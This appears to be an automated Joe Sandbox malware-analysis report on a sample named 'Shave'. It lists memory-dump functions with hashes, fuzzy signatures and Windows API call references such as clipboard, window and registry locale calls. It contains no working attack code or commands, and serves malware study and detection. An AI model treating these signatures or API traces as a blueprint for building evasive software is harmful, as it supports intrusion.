Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea3bb76e0ea1fa247e9c34c17a89ef15bf4545db74caa4f9804ee968dae60135
Instruction ID: 62f66611d683037e452956b915b7a7d837c35607c3afa638898f8f551a0494c3
Opcode Fuzzy Hash: ea3bb76e0ea1fa247e9c34c17a89ef15bf4545db74caa4f9804ee968dae60135
Instruction Fuzzy Hash: B5D1A074E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E86CF51

Function 04B3E790 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a7b3ca147c48f4886c8a9c1ee953988eb53caa94c782e85fece57c845ad2bc3
Instruction ID: cd9a35d81b25a8765387f2b6902d1cd259ffe22090090880ef4c3845600987ab
Opcode Fuzzy Hash: 7a7b3ca147c48f4886c8a9c1ee953988eb53caa94c782e85fece57c845ad2bc3
Instruction Fuzzy Hash: D0D1AF74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB355DB35AE86CF50

Function 04B37998 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fddfb89004285f83f7d3422b0e9e749a8ba1e0c6730cdc05f45e4f2e0af3150a
Instruction ID: 6f8fbdf7930b919d946c26dee3e7f251103b48117953b812da70e5ceb11bd7a4
Opcode Fuzzy Hash: fddfb89004285f83f7d3422b0e9e749a8ba1e0c6730cdc05f45e4f2e0af3150a
Instruction Fuzzy Hash: 77D19F78E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E86CF50

Function 04B39180 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22e2fb861efb6157fb3c79a28eeb8362bf0eba6851ba793c2df1d698d7539455
Instruction ID: 1e6bf6294dd17ad64ad4ac94eb867d72ea7983506e6bd48116baf2a1cc14dbaa
Opcode Fuzzy Hash: 22e2fb861efb6157fb3c79a28eeb8362bf0eba6851ba793c2df1d698d7539455
Instruction Fuzzy Hash: 3AD19F74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E86CF50

Function 04B3BC88 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f74fff2e1c7484e43d194c8cf306e43e97a7deaed8d6ad919d6e784207cbb9a4
Instruction ID: 0c18958ed53ec6a6e3d2ba21cd7f9f9334a594876ef3bda9841faccfcdd95e16
Opcode Fuzzy Hash: f74fff2e1c7484e43d194c8cf306e43e97a7deaed8d6ad919d6e784207cbb9a4
Instruction Fuzzy Hash: A9D19F74E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB355DB35AE86CF51

Function 04B387F0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ad5e38f0836850b5525f4724dac501833c4b6a5232f1a6a7a171c8720b5843f
Instruction ID: d084c56393512e519fdc44831083e215c9b3d622ae42e52504d5bfb92c2e4ff3
Opcode Fuzzy Hash: 0ad5e38f0836850b5525f4724dac501833c4b6a5232f1a6a7a171c8720b5843f
Instruction Fuzzy Hash: 22D1A074E01218CFDB54EFA5C984B9DBBB2BF89300F2081A9D409AB355DB359E86CF51

Function 04B3B2F8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d7c5eace304f269ccdaf15b6675b50f616601b1117c58dd4e01046c746196f
Instruction ID: 4926afebd8bd25ae5a6113b40be8e55c228a5e6552a5eb3306f81732d20b9263
Opcode Fuzzy Hash: 34d7c5eace304f269ccdaf15b6675b50f616601b1117c58dd4e01046c746196f
Instruction Fuzzy Hash: 9BD1A174E04218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB355DB35AE86CF50

Function 04B3CAE0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa3f33116a9249eb46a758ecf6f7a83f10e43df975307f31e4151c4c123cb8bd
Instruction ID: 14c891abafb119c261d23fc22535573f66ccb82a4c7d10aca6aea0b066637be5
Opcode Fuzzy Hash: fa3f33116a9249eb46a758ecf6f7a83f10e43df975307f31e4151c4c123cb8bd
Instruction Fuzzy Hash: 76D19E74E012188FDB54DFA5C994B9DBBB2BF89300F2081A9D409BB355DB359E86CF50

Function 04B3F5E8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e96e0a0c4e6e6b24444299ab60c5d8578ef4a24500eee68deb70c33ff1985032
Instruction ID: fee9d80f15cc70377198e21e3004164a3737577b91a6aeed81e6bf0ae1706d27
Opcode Fuzzy Hash: e96e0a0c4e6e6b24444299ab60c5d8578ef4a24500eee68deb70c33ff1985032
Instruction Fuzzy Hash: F9D19174E01218CFDB54DFA5C994BADBBB2BF89300F2081A9D409AB355DB359E86CF50

Function 04B374D0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1bee70d2d400ed07199c754c3a42b3445beec4d4698030a69916ea5d168c715
Instruction ID: 0c9713a3063901462433d2cf9f58b7ec4459ff19b1bc5cbb9ac680451936269b
Opcode Fuzzy Hash: f1bee70d2d400ed07199c754c3a42b3445beec4d4698030a69916ea5d168c715
Instruction Fuzzy Hash: 09D19074E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E86CF51

Function 04B39FD8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83078f9ac65728e411b9b68f6bae960b8dea28810327a485932afdf2ff814057
Instruction ID: 707641c023a82d97e98e61e703302d42971fe82fcd654f351e6b9f9b20c3cc02
Opcode Fuzzy Hash: 83078f9ac65728e411b9b68f6bae960b8dea28810327a485932afdf2ff814057
Instruction Fuzzy Hash: 0BD19074E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB365DB359E86CF51

Function 04B3B7C0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a2116089f981b0bbf9e5fa528471d31a85768f7e441986a927dd49f1bd0d0a
Instruction ID: b200c79957c03698b8aac39afa023c37c53b93a784f3bc4b0a2a1797fcda5ea7
Opcode Fuzzy Hash: d1a2116089f981b0bbf9e5fa528471d31a85768f7e441986a927dd49f1bd0d0a
Instruction Fuzzy Hash: 29D1BF74E04218CFDB54DFA5C984B9DBBB2BF89300F2081A9D409AB355DB35AE86CF50

Function 04B3E2C8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f5a3dc14cf809fc2227bf9da5288bccd61948dbeb26b4657cebfbed6dd372a8
Instruction ID: e65aa267b4f5bda27e8ab3cec0ee2e47fe6e8a174a0a9adc97e69e0213b52830
Opcode Fuzzy Hash: 3f5a3dc14cf809fc2227bf9da5288bccd61948dbeb26b4657cebfbed6dd372a8
Instruction Fuzzy Hash: FAD19F74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E86CF50

Function 3831F810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f777c5789e7726dc4a028be9338a910e3a56f38d5258601ae79718673e2215f1
Instruction ID: f989897316e2d7fd6ac1716e86fca57aad9a31339fe32bf23abfd2481b566263
Opcode Fuzzy Hash: f777c5789e7726dc4a028be9338a910e3a56f38d5258601ae79718673e2215f1
Instruction Fuzzy Hash: C5C19278E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D809AB365DB359E85CF50

Function 3831CCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa01fa9cdd7c009c89160f304c1f5aae054a54e9910d4b2113c05dc57930732b
Instruction ID: 9e537c735ef4238b051afff7cfc4ee12a81a166a8ce2a99caff5aba1d6ee9050
Opcode Fuzzy Hash: fa01fa9cdd7c009c89160f304c1f5aae054a54e9910d4b2113c05dc57930732b
Instruction Fuzzy Hash: 54C19374E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D809AB355DB359E86CF50

Function 3831D0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6437e356faee1f7a9e42284c11f201b71739bd867c1af7950906da6c7b58b1ab
Instruction ID: f0bb98009cd8cc3c735a28212a2e1ab89aef961d6d0df3f57950e2bb42d932ec
Opcode Fuzzy Hash: 6437e356faee1f7a9e42284c11f201b71739bd867c1af7950906da6c7b58b1ab
Instruction Fuzzy Hash: 5EC1A274E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D409AB365DB359E86CF50

Function 3831D550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ee685168f06bc02903eca48f485f645bf0edc94ef66c95dbc233d4e273a6ac
Instruction ID: 04eac8bef66d80ef5cafa68fcfa1e62922b96fe49e70d588a79edf7090812217
Opcode Fuzzy Hash: f4ee685168f06bc02903eca48f485f645bf0edc94ef66c95dbc233d4e273a6ac
Instruction Fuzzy Hash: 06C1A178E00218CFDB54DFA5C994B9DBBB2BF89300F1080A9D809AB365DB359E85CF50

Function 3831E258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75fffa3b2c6b588b310f05653d7e72cd13233bda66ea7759e05305eb09e8903b
Instruction ID: 809c1e94e3fae4adf344e242d4ce4ce620b0316e7192b22e67a89b240240919f
Opcode Fuzzy Hash: 75fffa3b2c6b588b310f05653d7e72cd13233bda66ea7759e05305eb09e8903b
Instruction Fuzzy Hash: 59C1A178E01218CFDB54DFA5C994B9DBBB2BF89300F5080A9D409AB365DB359E86CF50

Function 3831E6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81cbca9a2fd9e2ae94c008d0cb92f597216c7705136ca2722c97b20604a69ab0
Instruction ID: 5e9641aa37bf58cc32495abeb28a316e9ef2614ae6fedfb366c09811ab09c31b
Opcode Fuzzy Hash: 81cbca9a2fd9e2ae94c008d0cb92f597216c7705136ca2722c97b20604a69ab0
Instruction Fuzzy Hash: 96C1A178E01218CFDB54DFA5C984B9DBBB2BF89300F1081A9D809AB365DB359E85CF50

Function 3831EB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 581384bc5b2b7846bf7a5ac80139d605b1c592914484c758ec114afee2d8debd
Instruction ID: 0b9232eba0e91678c951031cc732b16348624ffa94d11bdc9109141a75bf3a75
Opcode Fuzzy Hash: 581384bc5b2b7846bf7a5ac80139d605b1c592914484c758ec114afee2d8debd
Instruction Fuzzy Hash: 5BC19178E01218CFDB54DFA5C994B9DBBB2BF89300F1081A9D809AB365DB359E85CF50

Function 3831EF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdd146b25f6f91ccf313f2d027e9ff8e5d074e35bcfd0a650df50c79734d25b0
Instruction ID: fc205f64cde160dd06be8a1095ac1070d9e6efa0b91af7dc2930ed34a24337ba
Opcode Fuzzy Hash: bdd146b25f6f91ccf313f2d027e9ff8e5d074e35bcfd0a650df50c79734d25b0
Instruction Fuzzy Hash: 67C19278E00218CFDB54DFA5C994B9DBBB2BF89300F1081A9D809AB365DB359E85CF50

Function 3831F3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3302124702.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38310000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c113695c402111101a7af77f166919ac3bf5a4991ae9ada9393e1235c53293ed
Instruction ID: ba2c7f36c4a8ee4c02f7eae92d30c60b954f63932e3f16df1b736fdd567e9cc8
Opcode Fuzzy Hash: c113695c402111101a7af77f166919ac3bf5a4991ae9ada9393e1235c53293ed
Instruction Fuzzy Hash: 02C1A274E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB365DB359E85CF50

Function 04B31BA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3279546991.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b30000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04b6b0e856ab97abc544355a764ba4569d05cc619d70a7ed17da7d9cc3b01fad
Instruction ID: 4936e84391e92446ca3e3c1a02c275ca23124db557b7b6a925d9aba8c409db3a
Opcode Fuzzy Hash: 04b6b0e856ab97abc544355a764ba4569d05cc619d70a7ed17da7d9cc3b01fad
Instruction Fuzzy Hash: 4AC1B274E00218CFDB54DFA9C994B9DBBB6BF89304F1080A9D809AB355DB359E85CF50

Function 379F50C7 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed1a8b9812ca5fb74978ff5b1662da66726003cb09e4421c02abac31b7f6b55
Instruction ID: 6c77afe97debd4a4767e7d882fc4085262590f736416505556e11fd635114911
Opcode Fuzzy Hash: bed1a8b9812ca5fb74978ff5b1662da66726003cb09e4421c02abac31b7f6b55
Instruction Fuzzy Hash: D7910474A00268CFDB25DF24C954BADBBB6FF48340F208499D909673A5DB386E89CF15

Function 379F0D26 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3301681538.00000000379F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 379F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_379f0000_Shave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93be774780085aeab448052a50fc1fda6c2dcbba844b0e7ff9163fa1e69558e1
Instruction ID: a04bdc5f0fd60f821e48c5a0cde350d18fe9abd2bb63ca0919c870f719b06d59
Opcode Fuzzy Hash: 93be774780085aeab448052a50fc1fda6c2dcbba844b0e7ff9163fa1e69558e1
Instruction Fuzzy Hash: 80D06734D5435CCACB20EF64A8557AEB775AB95305F0021A6D41CAB110D7709A548B56

Function 0040543E Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040549C
GetDlgItem.USER32(?,000003EE), ref: 004054AB
GetClientRect.USER32(?,?), ref: 004054E8
GetSystemMetrics.USER32(00000002), ref: 004054EF
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405510
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405521
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405534
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405542
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405555
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405577
ShowWindow.USER32(?,00000008), ref: 0040558B
GetDlgItem.USER32(?,000003EC), ref: 004055AC
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055BC
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055D5
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055E1
GetDlgItem.USER32(?,000003F8), ref: 004054BA

Part of subcall function 00404243: SendMessageW.USER32(00000028,?,00000001,0040406E), ref: 00404251

GetDlgItem.USER32(?,000003EC), ref: 004055FE
CreateThread.KERNEL32(00000000,00000000,Function_000053D2,00000000), ref: 0040560C
CloseHandle.KERNEL32(00000000), ref: 00405613
ShowWindow.USER32(00000000), ref: 00405637
ShowWindow.USER32(?,00000008), ref: 0040563C
ShowWindow.USER32(00000008), ref: 00405686
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056BA
CreatePopupMenu.USER32 ref: 004056CB
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004056DF
GetWindowRect.USER32(?,?), ref: 004056FF
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405718
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405750
OpenClipboard.USER32(00000000), ref: 00405760
EmptyClipboard.USER32 ref: 00405766
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405772
GlobalLock.KERNEL32(00000000), ref: 0040577C
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405790
GlobalUnlock.KERNEL32(00000000), ref: 004057B0
SetClipboardData.USER32(0000000D,00000000), ref: 004057BB
CloseClipboard.USER32 ref: 004057C1

Strings

{, xrefs: 004056A4

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 17a21c63557b4cf9ffe78a5fd5086114b1c8428fb936cdfcd18ae7c9549b7d0c
Instruction ID: e2c232b37aba284685acfefcf9c5e68312cc9a4ea8bcb72f9f75ba3fcde89da4
Opcode Fuzzy Hash: 17a21c63557b4cf9ffe78a5fd5086114b1c8428fb936cdfcd18ae7c9549b7d0c
Instruction Fuzzy Hash: 0EB15871900608FFDB119FA0DD89EAE7B79FB48354F00812AFA44BA1A0CB795E51DF58

Function 00403D35 Relevance: 48.3, APIs: 32, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403D71
ShowWindow.USER32(?), ref: 00403D8E
DestroyWindow.USER32 ref: 00403DA2
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403DBE
GetDlgItem.USER32(?,?), ref: 00403DDF
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403DF3
IsWindowEnabled.USER32(00000000), ref: 00403DFA
GetDlgItem.USER32(?,00000001), ref: 00403EA8
GetDlgItem.USER32(?,00000002), ref: 00403EB2
SetClassLongW.USER32(?,000000F2,?), ref: 00403ECC
SendMessageW.USER32(0000040F,00000000,00000001), ref: 00403F1D
GetDlgItem.USER32(?,00000003), ref: 00403FC3
ShowWindow.USER32(00000000,?), ref: 00403FE4
EnableWindow.USER32(?,?), ref: 00403FF6
EnableWindow.USER32(?,?), ref: 00404011
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404027
EnableMenuItem.USER32(00000000), ref: 0040402E
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404046
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404059
lstrlenW.KERNEL32(007A1F20,?,007A1F20,00000000), ref: 00404083
SetWindowTextW.USER32(?,007A1F20), ref: 00404097
ShowWindow.USER32(?,0000000A), ref: 004041CB

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: ee67474a1a288a69095d81a28a6b41206e342fd1b930cad1f65484e832d6543b
Instruction ID: db2580999c41c4fe450d1ee4fd1a55221d51bf0aef153e7307bc2b2ec56299a6
Opcode Fuzzy Hash: ee67474a1a288a69095d81a28a6b41206e342fd1b930cad1f65484e832d6543b
Instruction Fuzzy Hash: 3FC1DEB2504200AFDB206F61ED48E2B3AA8EB9A745F01453FF651B11F0CB399991DB5E

Function 00403987 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406671: GetModuleHandleA.KERNEL32(?,00000020,?,004033DE,0000000A), ref: 00406683
Part of subcall function 00406671: GetProcAddress.KERNEL32(00000000,?), ref: 0040669E

lstrcatW.KERNEL32(007B5000,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,007B5800,75923420,007B3000,00000000), ref: 00403A08
lstrlenW.KERNEL32(007A69C0,007B3800,?,?,007A69C0,00000000,007B3800,007B5000,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000,00000002,007B5800), ref: 00403A88
lstrcmpiW.KERNEL32(007A69B8,.exe,007A69C0,007B3800,?,?,007A69C0,00000000,007B3800,007B5000,007A1F20,80000001,Control Panel\Desktop\ResourceLocale,00000000,007A1F20,00000000), ref: 00403A9B
GetFileAttributesW.KERNEL32(007A69C0), ref: 00403AA6
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,007B3800), ref: 00403AEF

Part of subcall function 004061DE: wsprintfW.USER32 ref: 004061EB

RegisterClassW.USER32(007A79C0), ref: 00403B2C
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403B44
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B79
ShowWindow.USER32(00000005), ref: 00403BAF
GetClassInfoW.USER32(00000000,RichEdit20W,007A79C0), ref: 00403BDB
GetClassInfoW.USER32(00000000,RichEdit,007A79C0), ref: 00403BE8
RegisterClassW.USER32(007A79C0), ref: 00403BF1
DialogBoxParamW.USER32(?,00000000,00403D35,00000000), ref: 00403C10

Strings

.exe, xrefs: 00403A95
Control Panel\Desktop\ResourceLocale, xrefs: 004039BB
RichEdit20W, xrefs: 00403BD3, 00403BD9
.DEFAULT\Control Panel\International, xrefs: 004039F3
RichEd20, xrefs: 00403BB5
_Nb, xrefs: 00403B0B, 00403B73
RichEdit, xrefs: 00403BE2
RichEd32, xrefs: 00403BC3

Memory Dump Source

Source File: 00000003.00000002.3276332072.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276278297.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276351148.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276373702.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276518741.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Shave.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: 123c00e8e8eae349a6b6ffc178d207f9f8b23400aead47fb4df4bed5afc77f76
Instruction ID: fbef4646fbcf09e2f3785bbd11e1a9055ea34cd93d2d0ed92f9d0f486109358d
Opcode Fuzzy Hash: 123c00e8e8eae349a6b6ffc178d207f9f8b23400aead47fb4df4bed5afc77f76
Instruction Fuzzy Hash: 4D61B434200700AED320AF669D45F2B3A6CEB86745F40857FF941B51E2DB7D6901CB2D

Function 004043CD Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

